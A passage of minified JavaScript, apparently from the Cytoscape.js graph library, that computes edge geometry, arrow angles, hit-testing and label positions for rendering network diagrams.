u=r.pstyle(o+"label").value;var l=r.pstyle("text-events").strValue==="yes";if(!l||!u){return}var f=b(a.rscratch,"labelX",n);var c=b(a.rscratch,"labelY",n);var d=b(a.rscratch,"labelAngle",n);var h=r.pstyle(o+"text-margin-x").pfValue;var p=r.pstyle(o+"text-margin-y").pfValue;var y=s.x1-i-h;var m=s.x2+i-h;var x=s.y1-i-p;var w=s.y2+i-p;if(d){var E=Math.cos(d);var _=Math.sin(d);var k=function e(t,r){t=t-f;r=r-c;return{x:t*E-r*_+f,y:t*_+r*E+c}};var S=k(y,x);var C=k(y,w);var D=k(m,x);var T=k(m,w);var P=[S.x+h,S.y+p,D.x+h,D.y+p,T.x+h,T.y+p,C.x+h,C.y+p];if(or(e,t,P)){g(r);return true}}else{if($t(s,e,t)){g(r);return true}}}for(var w=o.length-1;w>=0;w--){var E=o[w];if(E.isNode()){y(E)||x(E)}else{m(E)||x(E)||x(E,"source")||x(E,"target")}}return s};iu.getAllInBox=function(e,t,r,n){var a=this.getCachedZSortedEles().interactive;var i=[];var o=Math.min(e,r);var s=Math.max(e,r);var u=Math.min(t,n);var l=Math.max(t,n);e=o;r=s;t=u;n=l;var f=Vt({x1:e,y1:t,x2:r,y2:n});for(var c=0;c<a.length;c++){var v=a[c];if(v.isNode()){var d=v;var h=d.boundingBox({includeNodes:true,includeEdges:false,includeLabels:false});if(Kt(f,h)&&!Qt(h,f)){i.push(d)}}else{var p=v;var g=p._private;var y=g.rscratch;if(y.startX!=null&&y.startY!=null&&!$t(f,y.startX,y.startY)){continue}if(y.endX!=null&&y.endY!=null&&!$t(f,y.endX,y.endY)){continue}if(y.edgeType==="bezier"||y.edgeType==="multibezier"||y.edgeType==="self"||y.edgeType==="compound"||y.edgeType==="segments"||y.edgeType==="haystack"){var m=g.rstyle.bezierPts||g.rstyle.linePts||g.rstyle.haystackPts;var b=true;for(var x=0;x<m.length;x++){if(!Zt(f,m[x])){b=false;break}}if(b){i.push(p)}}else if(y.edgeType==="haystack"||y.edgeType==="straight"){i.push(p)}}}return i};var ou={};ou.calculateArrowAngles=function(e){var t=e._private.rscratch;var r=t.edgeType==="haystack";var n=t.edgeType==="bezier";var a=t.edgeType==="multibezier";var i=t.edgeType==="segments";var o=t.edgeType==="compound";var s=t.edgeType==="self";var u,l;var f,c,v,d,h,p;if(r){f=t.haystackPts[0];c=t.haystackPts[1];v=t.haystackPts[2];d=t.haystackPts[3]}else{f=t.arrowStartX;c=t.arrowStartY;v=t.arrowEndX;d=t.arrowEndY}h=t.midX;p=t.midY;if(i){u=f-t.segpts[0];l=c-t.segpts[1]}else if(a||o||s||n){var g=t.allpts;var y=Bt(g[0],g[2],g[4],.1);var m=Bt(g[1],g[3],g[5],.1);u=f-y;l=c-m}else{u=f-h;l=c-p}t.srcArrowAngle=It(u,l);var h=t.midX;var p=t.midY;if(r){h=(f+v)/2;p=(c+d)/2}u=v-f;l=d-c;if(i){var g=t.allpts;if(g.length/2%2===0){var b=g.length/2;var x=b-2;u=g[b]-g[x];l=g[b+1]-g[x+1]}else{var b=g.length/2-1;var x=b-2;var w=b+2;u=g[b]-g[x];l=g[b+1]-g[x+1]}}else if(a||o||s){var g=t.allpts;var E=t.ctrlpts;var _,k;var S,C;if(E.length/2%2===0){var D=g.length/2-1;var T=D+2;var P=T+2;_=Bt(g[D],g[T],g[P],0);k=Bt(g[D+1],g[T+1],g[P+1],0);S=Bt(g[D],g[T],g[P],1e-4);C=Bt(g[D+1],g[T+1],g[P+1],1e-4)}else{var T=g.length/2-1;var D=T-2;var P=T+2;_=Bt(g[D],g[T],g[P],.4999);k=Bt(g[D+1],g[T+1],g[P+1],.4999);S=Bt(g[D],g[T],g[P],.5);C=Bt(g[D+1],g[T+1],g[P+1],.5)}u=S-_;l=C-k}t.midtgtArrowAngle=It(u,l);t.midDispX=u;t.midDispY=l;u*=-1;l*=-1;if(i){var g=t.allpts;if(g.length/2%2===0);else{var b=g.length/2-1;var w=b+2;u=-(g[w]-g[b]);l=-(g[w+1]-g[b+1])}}t.midsrcArrowAngle=It(u,l);if(i){u=v-t.segpts[t.segpts.length-2];l=d-t.segpts[t.segpts.length-1]}else if(a||o||s||n){var g=t.allpts;var M=g.length;var y=Bt(g[M-6],g[M-4],g[M-2],.9);var m=Bt(g[M-5],g[M-3],g[M-1],.9);u=v-y;l=d-m}else{u=v-h;l=d-p}t.tgtArrowAngle=It(u,l)};ou.getArrowWidth=ou.getArrowHeight=function(e,t){var r=this.arrowWidthCache=this.arrowWidthCache||{};var n=r[e+", "+t];if(n){return n}n=Math.max(Math.pow(e*13.37,.9),29)*t;r[e+", "+t]=n;return n};var su={};su.findHaystackPoints=function(e){for(var t=0;t<e.length;t++){var r=e[t];var n=r._private;var a=n.rscratch;if(!a.haystack){var i=Math.random()*2*Math.PI;a.source={x:Math.cos(i),y:Math.sin(i)};i=Math.random()*2*Math.PI;a.target={x:Math.cos(i),y:Math.sin(i)}}var o=n.source;var s=n.target;var u=o.position();var l=s.position();var f=o.width();var c=s.width();var v=o.height();var d=s.height();var h=r.pstyle("haystack-radius").value;var p=h/2;a.haystackPts=a.allpts=[a.source.x*f*p+u.x,a.source.y*v*p+u.y,a.target.x*c*p+l.x,a.target.y*d*p+l.y];a.midX=(a.allpts[0]+a.allpts[2])/2;a.midY=(a.allpts[1]+a.allpts[3])/2;a.edgeType="haystack";a.haystack=true;this.storeEdgeProjections(r);this.calculateArrowAngles(r);this.recalculateEdgeLabelProjections(r);this.calculateLabelAngles(r)}};su.findSegmentsPoints=function(e,t){var r=e._private.rscratch;var n=t.posPts,a=t.intersectionPts,i=t.vectorNormInverse;var o=e.pstyle("edge-distances").value;var s=e.pstyle("segment-weights");var u=e.pstyle("segment-distances");var l=Math.min(s.pfValue.length,u.pfValue.length);r.edgeType="segments";r.segpts=[];for(var f=0;f<l;f++){var c=s.pfValue[f];var v=u.pfValue[f];var d=1-c;var h=c;var p=o==="node-position"?n:a;var g={x:p.x1*d+p.x2*h,y:p.y1*d+p.y2*h};r.segpts.push(g.x+i.x*v,g.y+i.y*v)}};su.findLoopPoints=function(e,t,r,n){var a=e._private.rscratch;var i=t.dirCounts,o=t.srcPos;var s=e.pstyle("control-point-distances");var u=s?s.pfValue[0]:undefined;var l=e.pstyle("loop-direction").pfValue;var f=e.pstyle("loop-sweep").pfValue;var c=e.pstyle("control-point-step-size").pfValue;a.edgeType="self";var v=r;var d=c;if(n){v=0;d=u}var h=l-Math.PI/2;var p=h-f/2;var g=h+f/2;var y=String(l+"_"+f);v=i[y]===undefined?i[y]=0:++i[y];a.ctrlpts=[o.x+Math.cos(p)*1.4*d*(v/3+1),o.y+Math.sin(p)*1.4*d*(v/3+1),o.x+Math.cos(g)*1.4*d*(v/3+1),o.y+Math.sin(g)*1.4*d*(v/3+1)]};su.findCompoundLoopPoints=function(e,t,r,n){var a=e._private.rscratch;a.edgeType="compound";var i=t.srcPos,o=t.tgtPos,s=t.srcW,u=t.srcH,l=t.tgtW,f=t.tgtH;var c=e.pstyle("control-point-step-size").pfValue;var v=e.pstyle("control-point-distances");var d=v?v.pfValue[0]:undefined;var h=r;var p=c;if(n){h=0;p=d}var g=50;var y={x:i.x-s/2,y:i.y-u/2};var m={x:o.x-l/2,y:o.y-f/2};var b={x:Math.min(y.x,m.x),y:Math.min(y.y,m.y)};var x=.5;var w=Math.max(x,Math.log(s*.01));var E=Math.max(x,Math.log(l*.01));a.ctrlpts=[b.x,b.y-(1+Math.pow(g,1.12)/100)*p*(h/3+1)*w,b.x-(1+Math.pow(g,1.12)/100)*p*(h/3+1)*E,b.y]};su.findStraightEdgePoints=function(e){e._private.rscratch.edgeType="straight"};su.findBezierPoints=function(e,t,r,n,a){var i=e._private.rscratch;var o=t.vectorNormInverse,s=t.posPts,u=t.intersectionPts;var l=e.pstyle("edge-distances").value;var f=e.pstyle("control-point-step-size").pfValue;var c=e.pstyle("control-point-distances");var v=e.pstyle("control-point-weights");var d=c&&v?Math.min(c.value.length,v.value.length):1;var h=c?c.pfValue[0]:undefined;var p=v.value[0];var g=n;i.edgeType=g?"multibezier":"bezier";i.ctrlpts=[];for(var y=0;y<d;y++){var m=(.5-t.eles.length/2+r)*f*(a?-1:1);var b=void 0;var x=Nt(m);if(g){h=c?c.pfValue[y]:f;p=v.value[y]}if(n){b=h}else{b=h!==undefined?x*h:undefined}var w=b!==undefined?b:m;var E=1-p;var _=p;var k=l==="node-position"?s:u;var S={x:k.x1*E+k.x2*_,y:k.y1*E+k.y2*_};i.ctrlpts.push(S.x+o.x*w,S.y+o.y*w)}};su.findTaxiPoints=function(e,t){var r=e._private.rscratch;r.edgeType="segments";var n="vertical";var a="horizontal";var i="leftward";var o="rightward";var s="downward";var u="upward";var l="auto";var f=t.posPts,c=t.srcW,v=t.srcH,d=t.tgtW,h=t.tgtH;var p=e.pstyle("edge-distances").value;var g=p!=="node-position";var y=e.pstyle("taxi-direction").value;var m=y;var b=e.pstyle("taxi-turn");var x=b.units==="%";var w=b.pfValue;var E=w<0;var _=e.pstyle("taxi-turn-min-distance").pfValue;var k=g?(c+d)/2:0;var S=g?(v+h)/2:0;var C=f.x2-f.x1;var D=f.y2-f.y1;var T=function e(t,r){if(t>0){return Math.max(t-r,0)}else{return Math.min(t+r,0)}};var P=T(C,k);var M=T(D,S);var I=false;if(m===l){y=Math.abs(P)>Math.abs(M)?a:n}else if(m===u||m===s){y=n;I=true}else if(m===i||m===o){y=a;I=true}var O=y===n;var N=O?M:P;var z=O?D:C;var A=Nt(z);var L=false;if(!(I&&(x||E))&&(m===s&&z<0||m===u&&z>0||m===i&&z>0||m===o&&z<0)){A*=-1;N=A*Math.abs(N);L=true}var B;if(x){var j=w<0?1+w:w;B=j*N}else{var R=w<0?N:0;B=R+w*A}var F=function e(t){return Math.abs(t)<_||Math.abs(t)>=Math.abs(N)};var V=F(B);var q=F(Math.abs(N)-Math.abs(B));var G=V||q;if(G&&!L){if(O){var Y=Math.abs(z)<=v/2;var X=Math.abs(C)<=d/2;if(Y){var W=(f.x1+f.x2)/2;var H=f.y1,U=f.y2;r.segpts=[W,H,W,U]}else if(X){var K=(f.y1+f.y2)/2;var $=f.x1,Z=f.x2;r.segpts=[$,K,Z,K]}else{r.segpts=[f.x1,f.y2]}}else{var Q=Math.abs(z)<=c/2;var J=Math.abs(D)<=h/2;if(Q){var ee=(f.y1+f.y2)/2;var te=f.x1,re=f.x2;r.segpts=[te,ee,re,ee]}else if(J){var ne=(f.x1+f.x2)/2;var ae=f.y1,ie=f.y2;r.segpts=[ne,ae,ne,ie]}else{r.segpts=[f.x2,f.y1]}}}else{if(O){var oe=f.y1+B+(g?v/2*A:0);var se=f.x1,ue=f.x2;r.segpts=[se,oe,ue,oe]}else{var le=f.x1+B+(g?c/2*A:0);var fe=f.y1,ce=f.y2;r.segpts=[le,fe,le,ce]}}};su.tryToCorrectInvalidPoints=function(e,t){var r=e._private.rscratch;if(r.edgeType==="bezier"){var n=t.srcPos,a=t.tgtPos,i=t.srcW,o=t.srcH,s=t.tgtW,u=t.tgtH,l=t.srcShape,f=t.tgtShape;var c=!I(r.startX)||!I(r.startY);var v=!I(r.arrowStartX)||!I(r.arrowStartY);var d=!I(r.endX)||!I(r.endY);var h=!I(r.arrowEndX)||!I(r.arrowEndY);var p=3;var g=this.getArrowWidth(e.pstyle("width").pfValue,e.pstyle("arrow-scale").value)*this.arrowShapeWidth;var y=p*g;var m=zt({x:r.ctrlpts[0],y:r.ctrlpts[1]},{x:r.startX,y:r.startY});var b=m<y;var x=zt({x:r.ctrlpts[0],y:r.ctrlpts[1]},{x:r.endX,y:r.endY});var w=x<y;var E=false;if(c||v||b){E=true;var _={x:r.ctrlpts[0]-n.x,y:r.ctrlpts[1]-n.y};var k=Math.sqrt(_.x*_.x+_.y*_.y);var S={x:_.x/k,y:_.y/k};var C=Math.max(i,o);var D={x:r.ctrlpts[0]+S.x*2*C,y:r.ctrlpts[1]+S.y*2*C};var T=l.intersectLine(n.x,n.y,i,o,D.x,D.y,0);if(b){r.ctrlpts[0]=r.ctrlpts[0]+S.x*(y-m);r.ctrlpts[1]=r.ctrlpts[1]+S.y*(y-m)}else{r.ctrlpts[0]=T[0]+S.x*y;r.ctrlpts[1]=T[1]+S.y*y}}if(d||h||w){E=true;var P={x:r.ctrlpts[0]-a.x,y:r.ctrlpts[1]-a.y};var M=Math.sqrt(P.x*P.x+P.y*P.y);var O={x:P.x/M,y:P.y/M};var N=Math.max(i,o);var z={x:r.ctrlpts[0]+O.x*2*N,y:r.ctrlpts[1]+O.y*2*N};var A=f.intersectLine(a.x,a.y,s,u,z.x,z.y,0);if(w){r.ctrlpts[0]=r.ctrlpts[0]+O.x*(y-x);r.ctrlpts[1]=r.ctrlpts[1]+O.y*(y-x)}else{r.ctrlpts[0]=A[0]+O.x*y;r.ctrlpts[1]=A[1]+O.y*y}}if(E){this.findEndpoints(e)}}};su.storeAllpts=function(e){var t=e._private.rscratch;if(t.edgeType==="multibezier"||t.edgeType==="bezier"||t.edgeType==="self"||t.edgeType==="compound"){t.allpts=[];t.allpts.push(t.startX,t.startY);for(var r=0;r+1<t.ctrlpts.length;r+=2){t.allpts.push(t.ctrlpts[r],t.ctrlpts[r+1]);if(r+3<t.ctrlpts.length){t.allpts.push((t.ctrlpts[r]+t.ctrlpts[r+2])/2,(t.ctrlpts[r+1]+t.ctrlpts[r+3])/2)}}t.allpts.push(t.endX,t.endY);var n,a;if(t.ctrlpts.length/2%2===0){n=t.allpts.length/2-1;t.midX=t.allpts[n];t.midY=t.allpts[n+1]}else{n=t.allpts.length/2-3;a=.5;t.midX=Bt(t.allpts[n],t.allpts[n+2],t.allpts[n+4],a);t.midY=Bt(t.allpts[n+1],t.allpts[n+3],t.allpts[n+5],a)}}else if(t.edgeType==="straight"){t.allpts=[t.startX,t.startY,t.endX,t.endY];t.midX=(t.startX+t.endX+t.arrowStartX+t.arrowEndX)/4;t.midY=(t.startY+t.endY+t.arrowStartY+t.arrowEndY)/4}else if(t.edgeType==="segments"){t.allpts=[];t.allpts.push(t.startX,t.startY);t.allpts.push.apply(t.allpts,t.segpts);t.allpts.push(t.endX,t.endY);if(t.segpts.length%4===0){var i=t.segpts.length/2;var o=i-2;t.midX=(t.segpts[o]+t.segpts[i])/2;t.midY=(t.segpts[o+1]+t.segpts[i+1])/2}else{var s=t.segpts.length/2-1;t.midX=t.segpts[s];t.midY=t.segpts[s+1]}}};su.checkForInvalidEdgeWarning=function(e){var t=e[0]._private.rscratch;if(t.nodesOverlap||I(t.startX)&&I(t.startY)&&I(t.endX)&&I(t.endY)){t.loggedErr=false}else{if(!t.loggedErr){t.loggedErr=true;qe("Edge `"+e.id()+"` has invalid endpoints and so it is impossible to draw.  Adjust your edge style (e.g. control points) accordingly or use an alternative edge type.  This is expected behaviour when the source node and the target node overlap.")}}};su.findEdgeControlPoints=function(e){var t=this;if(!e||e.length===0){return}var r=this;var n=r.cy;var a=n.hasCompoundNodes();var i={map:new rt,get:function e(t){var r=this.map.get(t[0]);if(r!=null){return r.get(t[1])}else{return null}},set:function e(t,r){var n=this.map.get(t[0]);if(n==null){n=new rt;this.map.set(t[0],n)}n.set(t[1],r)}};var o=[];var s=[];for(var u=0;u<e.length;u++){var l=e[u];var f=l._private;var c=l.pstyle("curve-style").value;if(l.removed()||!l.takesUpSpace()){continue}if(c==="haystack"){s.push(l);continue}var v=c==="unbundled-bezier"||c==="segments"||c==="straight"||c==="straight-triangle"||c==="taxi";var d=c==="unbundled-bezier"||c==="bezier";var h=f.source;var p=f.target;var g=h.poolIndex();var y=p.poolIndex();var m=[g,y].sort();var b=i.get(m);if(b==null){b={eles:[]};i.set(m,b);o.push(m)}b.eles.push(l);if(v){b.hasUnbundled=true}if(d){b.hasBezier=true}}var x=function e(n){var s=o[n];var u=i.get(s);var l=void 0;if(!u.hasUnbundled){var f=u.eles[0].parallelEdges().filter((function(e){return e.isBundledBezier()}));Ze(u.eles);f.forEach((function(e){return u.eles.push(e)}));u.eles.sort((function(e,t){return e.poolIndex()-t.poolIndex()}))}var c=u.eles[0];var v=c.source();var d=c.target();if(v.poolIndex()>d.poolIndex()){var h=v;v=d;d=h}var p=u.srcPos=v.position();var g=u.tgtPos=d.position();var y=u.srcW=v.outerWidth();var m=u.srcH=v.outerHeight();var b=u.tgtW=d.outerWidth();var x=u.tgtH=d.outerHeight();var w=u.srcShape=r.nodeShapes[t.getNodeShape(v)];var E=u.tgtShape=r.nodeShapes[t.getNodeShape(d)];u.dirCounts={north:0,west:0,south:0,east:0,northwest:0,southwest:0,northeast:0,southeast:0};for(var _=0;_<u.eles.length;_++){var k=u.eles[_];var S=k[0]._private.rscratch;var C=k.pstyle("curve-style").value;var D=C==="unbundled-bezier"||C==="segments"||C==="taxi";var T=!v.same(k.source());if(!u.calculatedIntersection&&v!==d&&(u.hasBezier||u.hasUnbundled)){u.calculatedIntersection=true;var P=w.intersectLine(p.x,p.y,y,m,g.x,g.y,0);var M=u.srcIntn=P;var O=E.intersectLine(g.x,g.y,b,x,p.x,p.y,0);var N=u.tgtIntn=O;var z=u.intersectionPts={x1:P[0],x2:O[0],y1:P[1],y2:O[1]};var A=u.posPts={x1:p.x,x2:g.x,y1:p.y,y2:g.y};var L=O[1]-P[1];var B=O[0]-P[0];var j=Math.sqrt(B*B+L*L);var R=u.vector={x:B,y:L};var F=u.vectorNorm={x:R.x/j,y:R.y/j};var V={x:-F.y,y:F.x};u.nodesOverlap=!I(j)||E.checkPoint(P[0],P[1],0,b,x,g.x,g.y)||w.checkPoint(O[0],O[1],0,y,m,p.x,p.y);u.vectorNormInverse=V;l={nodesOverlap:u.nodesOverlap,dirCounts:u.dirCounts,calculatedIntersection:true,hasBezier:u.hasBezier,hasUnbundled:u.hasUnbundled,eles:u.eles,srcPos:g,tgtPos:p,srcW:b,srcH:x,tgtW:y,tgtH:m,srcIntn:N,tgtIntn:M,srcShape:E,tgtShape:w,posPts:{x1:A.x2,y1:A.y2,x2:A.x1,y2:A.y1},intersectionPts:{x1:z.x2,y1:z.y2,x2:z.x1,y2:z.y1},vector:{x:-R.x,y:-R.y},vectorNorm:{x:-F.x,y:-F.y},vectorNormInverse:{x:-V.x,y:-V.y}}}var q=T?l:u;S.nodesOverlap=q.nodesOverlap;S.srcIntn=q.srcIntn;S.tgtIntn=q.tgtIntn;if(a&&(v.isParent()||v.isChild()||d.isParent()||d.isChild())&&(v.parents().anySame(d)||d.parents().anySame(v)||v.same(d)&&v.isParent())){t.findCompoundLoopPoints(k,q,_,D)}else if(v===d){t.findLoopPoints(k,q,_,D)}else if(C==="segments"){t.findSegmentsPoints(k,q)}else if(C==="taxi"){t.findTaxiPoints(k,q)}else if(C==="straight"||!D&&u.eles.length%2===1&&_===Math.floor(u.eles.length/2)){t.findStraightEdgePoints(k)}else{t.findBezierPoints(k,q,_,D,T)}t.findEndpoints(k);t.tryToCorrectInvalidPoints(k,q);t.checkForInvalidEdgeWarning(k);t.storeAllpts(k);t.storeEdgeProjections(k);t.calculateArrowAngles(k);t.recalculateEdgeLabelProjections(k);t.calculateLabelAngles(k)}};for(var w=0;w<o.length;w++){x(w)}this.findHaystackPoints(s)};function uu(e){var t=[];if(e==null){return}for(var r=0;r<e.length;r+=2){var n=e[r];var a=e[r+1];t.push({x:n,y:a})}return t}su.getSegmentPoints=function(e){var t=e[0]._private.rscratch;var r=t.edgeType;if(r==="segments"){this.recalculateRenderedStyle(e);return uu(t.segpts)}};su.getControlPoints=function(e){var t=e[0]._private.rscratch;var r=t.edgeType;if(r==="bezier"||r==="multibezier"||r==="self"||r==="compound"){this.recalculateRenderedStyle(e);return uu(t.ctrlpts)}};su.getEdgeMidpoint=function(e){var t=e[0]._private.rscratch;this.recalculateRenderedStyle(e);return{x:t.midX,y:t.midY}};var lu={};lu.manualEndptToPx=function(e,t){var r=this;var n=e.position();var a=e.outerWidth();var i=e.outerHeight();if(t.value.length===2){var o=[t.pfValue[0],t.pfValue[1]];if(t.units[0]==="%"){o[0]=o[0]*a}if(t.units[1]==="%"){o[1]=o[1]*i}o[0]+=n.x;o[1]+=n.y;return o}else{var s=t.pfValue[0];s=-Math.PI/2+s;var u=2*Math.max(a,i);var l=[n.x+Math.cos(s)*u,n.y+Math.sin(s)*u];return r.nodeShapes[this.getNodeShape(e)].intersectLine(n.x,n.y,a,i,l[0],l[1],0)}};lu.findEndpoints=function(e){var t=this;var r;var n=e.source()[0];var a=e.target()[0];var i=n.position();var o=a.position();var s=e.pstyle("target-arrow-shape").value;var u=e.pstyle("source-arrow-shape").value;var l=e.pstyle("target-distance-from-node").pfValue;var f=e.pstyle("source-distance-from-node").pfValue;var c=e.pstyle("curve-style").value;var v=e._private.rscratch;var d=v.edgeType;var h=c==="taxi";var p=d==="self"||d==="compound";var g=d==="bezier"||d==="multibezier"||p;var y=d!=="bezier";var m=d==="straight"||d==="segments";var b=d==="segments";var x=g||y||m;var w=p||h;var E=e.pstyle("source-endpoint");var _=w?"outside-to-node":E.value;var k=e.pstyle("target-endpoint");var S=w?"outside-to-node":k.value;v.srcManEndpt=E;v.tgtManEndpt=k;var C;var D;var T;var P;if(g){var M=[v.ctrlpts[0],v.ctrlpts[1]];var O=y?[v.ctrlpts[v.ctrlpts.length-2],v.ctrlpts[v.ctrlpts.length-1]]:M;C=O;D=M}else if(m){var N=!b?[o.x,o.y]:v.segpts.slice(0,2);var z=!b?[i.x,i.y]:v.segpts.slice(v.segpts.length-2);C=z;D=N}if(S==="inside-to-node"){r=[o.x,o.y]}else if(k.units){r=this.manualEndptToPx(a,k)}else if(S==="outside-to-line"){r=v.tgtIntn}else{if(S==="outside-to-node"||S==="outside-to-node-or-label"){T=C}else if(S==="outside-to-line"||S==="outside-to-line-or-label"){T=[i.x,i.y]}r=t.nodeShapes[this.getNodeShape(a)].intersectLine(o.x,o.y,a.outerWidth(),a.outerHeight(),T[0],T[1],0);if(S==="outside-to-node-or-label"||S==="outside-to-line-or-label"){var A=a._private.rscratch;var L=A.labelWidth;var B=A.labelHeight;var j=A.labelX;var R=A.labelY;var F=L/2;var V=B/2;var q=a.pstyle("text-valign").value;if(q==="top"){R-=V}else if(q==="bottom"){R+=V}var G=a.pstyle("text-halign").value;if(G==="left"){j-=F}else if(G==="right"){j+=F}var Y=gr(T[0],T[1],[j-F,R-V,j+F,R-V,j+F,R+V,j-F,R+V],o.x,o.y);if(Y.length>0){var X=i;var W=At(X,St(r));var H=At(X,St(Y));var U=W;if(H<W){r=Y;U=H}if(Y.length>2){var K=At(X,{x:Y[2],y:Y[3]});if(K<U){r=[Y[2],Y[3]]}}}}}var $=mr(r,C,t.arrowShapes[s].spacing(e)+l);var Z=mr(r,C,t.arrowShapes[s].gap(e)+l);v.endX=Z[0];v.endY=Z[1];v.arrowEndX=$[0];v.arrowEndY=$[1];if(_==="inside-to-node"){r=[i.x,i.y]}else if(E.units){r=this.manualEndptToPx(n,E)}else if(_==="outside-to-line"){r=v.srcIntn}else{if(_==="outside-to-node"||_==="outside-to-node-or-label"){P=D}else if(_==="outside-to-line"||_==="outside-to-line-or-label"){P=[o.x,o.y]}r=t.nodeShapes[this.getNodeShape(n)].intersectLine(i.x,i.y,n.outerWidth(),n.outerHeight(),P[0],P[1],0);if(_==="outside-to-node-or-label"||_==="outside-to-line-or-label"){var Q=n._private.rscratch;var J=Q.labelWidth;var ee=Q.labelHeight;var te=Q.labelX;var re=Q.labelY;var ne=J/2;var ae=ee/2;var ie=n.pstyle("text-valign").value;if(ie==="top"){re-=ae}else if(ie==="bottom"){re+=ae}var oe=n.pstyle("text-halign").value;if(oe==="left"){te-=ne}else if(oe==="right"){te+=ne}var se=gr(P[0],P[1],[te-ne,re-ae,te+ne,re-ae,te+ne,re+ae,te-ne,re+ae],i.x,i.y);if(se.length>0){var ue=o;var le=At(ue,St(r));var fe=At(ue,St(se));var ce=le;if(fe<le){r=[se[0],se[1]];ce=fe}if(se.length>2){var ve=At(ue,{x:se[2],y:se[3]});if(ve<ce){r=[se[2],se[3]]}}}}}var de=mr(r,D,t.arrowShapes[u].spacing(e)+f);var he=mr(r,D,t.arrowShapes[u].gap(e)+f);v.startX=he[0];v.startY=he[1];v.arrowStartX=de[0];v.arrowStartY=de[1];if(x){if(!I(v.startX)||!I(v.startY)||!I(v.endX)||!I(v.endY)){v.badLine=true}else{v.badLine=false}}};lu.getSourceEndpoint=function(e){var t=e[0]._private.rscratch;this.recalculateRenderedStyle(e);switch(t.edgeType){case"haystack":return{x:t.haystackPts[0],y:t.haystackPts[1]};default:return{x:t.arrowStartX,y:t.arrowStartY}}};lu.getTargetEndpoint=function(e){var t=e[0]._private.rscratch;this.recalculateRenderedStyle(e);switch(t.edgeType){case"haystack":return{x:t.haystackPts[2],y:t.haystackPts[3]};default:return{x:t.arrowEndX,y:t.arrowEndY}}};var fu={};function cu(e,t,r){var n=function e(t,r,n,a){return Bt(t,r,n,a)};var a=t._private;var i=a.rstyle.bezierPts;for(var o=0;o<e.bezierProjPcts.length;o++){var s=e.bezierProjPcts[o];i.push({x:n(r[0],r[2],r[4],s),y:n(r[1],r[3],r[5],s)})}}fu.storeEdgeProjections=function(e){var t=e._private;var r=t.rscratch;var n=r.edgeType;t.rstyle.bezierPts=null;t.rstyle.linePts=null;t.rstyle.haystackPts=null;if(n==="multibezier"||n==="bezier"||n==="self"||n==="compound"){t.rstyle.bezierPts=[];for(var a=0;a+5<r.allpts.length;a+=4){cu(this,e,r.allpts.slice(a,a+6))}}else if(n==="segments"){var i=t.rstyle.linePts=[];for(var a=0;a+1<r.allpts.length;a+=2){i.push({x:r.allpts[a],y:r.allpts[a+1]})}}else if(n==="haystack"){var o=r.haystackPts;t.rstyle.haystackPts=[{x:o[0],y:o[1]},{x:o[2],y:o[3]}]}t.rstyle.arrowWidth=this.getArrowWidth(e.pstyle("width").pfValue,e.pstyle("arrow-scale").value)*this.arrowShapeWidth};fu.recalculateEdgeProjections=function(e){this.findEdgeControlPoints(e)};var vu={};vu.recalculateNodeLabelProjection=function(e){var t=e.pstyle("label").strValue;if(F(t)){return}var r,n;var a=e._private;var i=e.width();var o=e.height();var s=e.padding();var u=e.position();var l=e.pstyle("text-halign").strValue;var f=e.pstyle("text-valign").strValue;var c=a.rscratch;var v=a.rstyle;switch(l){case"left":r=u.x-i/2-s;break;case"right":r=u.x+i/2+s;break;default:r=u.x}switch(f){case"top":n=u.y-o/2-s;break;case"bottom":n=u.y+o/2+s;break;default:n=u.y}c.labelX=r;c.labelY=n;v.labelX=r;v.labelY=n;this.calculateLabelAngles(e);this.applyLabelDimensions(e)};var du=function e(t,r){var n=Math.atan(r/t);if(t===0&&n<0){n=n*-1}return n};var hu=function e(t,r){var n=r.x-t.x;var a=r.y-t.y;return du(n,a)};var pu=function e(t,r,n,a){var i=Ft(0,a-.001,1);var o=Ft(0,a+.001,1);var s=jt(t,r,n,i);var u=jt(t,r,n,o);return hu(s,u)};vu.recalculateEdgeLabelProjections=function(e){var t;var r=e._private;var n=r.rscratch;var a=this;var i={mid:e.pstyle("label").strValue,source:e.pstyle("source-label").strValue,target:e.pstyle("target-label").strValue};if(i.mid||i.source||i.target);else{return}t={x:n.midX,y:n.midY};var o=function e(t,n,a){et(r.rscratch,t,n,a);et(r.rstyle,t,n,a)};o("labelX",null,t.x);o("labelY",null,t.y);var s=du(n.midDispX,n.midDispY);o("labelAutoAngle",null,s);var u=function e(){if(e.cache){return e.cache}var t=[];for(var i=0;i+5<n.allpts.length;i+=4){var o={x:n.allpts[i],y:n.allpts[i+1]};var s={x:n.allpts[i+2],y:n.allpts[i+3]};var u={x:n.allpts[i+4],y:n.allpts[i+5]};t.push({p0:o,p1:s,p2:u,startDist:0,length:0,segments:[]})}var l=r.rstyle.bezierPts;var f=a.bezierProjPcts.length;function c(e,t,r,n,a){var i=zt(t,r);var o=e.segments[e.segments.length-1];var s={p0:t,p1:r,t0:n,t1:a,startDist:o?o.startDist+o.length:0,length:i};e.segments.push(s);e.length+=i}for(var v=0;v<t.length;v++){var d=t[v];var h=t[v-1];if(h){d.startDist=h.startDist+h.length}c(d,d.p0,l[v*f],0,a.bezierProjPcts[0]);for(var p=0;p<f-1;p++){c(d,l[v*f+p],l[v*f+p+1],a.bezierProjPcts[p],a.bezierProjPcts[p+1])}c(d,l[v*f+f-1],d.p2,a.bezierProjPcts[f-1],1)}return e.cache=t};var l=function r(a){var s;var l=a==="source";if(!i[a]){return}var f=e.pstyle(a+"-text-offset").pfValue;switch(n.edgeType){case"self":case"compound":case"bezier":case"multibezier":{var c=u();var v;var d=0;var h=0;for(var p=0;p<c.length;p++){var g=c[l?p:c.length-1-p];for(var y=0;y<g.segments.length;y++){var m=g.segments[l?y:g.segments.length-1-y];var b=p===c.length-1&&y===g.segments.length-1;d=h;h+=m.length;if(h>=f||b){v={cp:g,segment:m};break}}if(v){break}}var x=v.cp;var w=v.segment;var E=(f-d)/w.length;var _=w.t1-w.t0;var k=l?w.t0+_*E:w.t1-_*E;k=Ft(0,k,1);t=jt(x.p0,x.p1,x.p2,k);s=pu(x.p0,x.p1,x.p2,k);break}case"straight":case"segments":case"haystack":{var S=0,C,D;var T,P;var M=n.allpts.length;for(var I=0;I+3<M;I+=2){if(l){T={x:n.allpts[I],y:n.allpts[I+1]};P={x:n.allpts[I+2],y:n.allpts[I+3]}}else{T={x:n.allpts[M-2-I],y:n.allpts[M-1-I]};P={x:n.allpts[M-4-I],y:n.allpts[M-3-I]}}C=zt(T,P);D=S;S+=C;if(S>=f){break}}var O=f-D;var 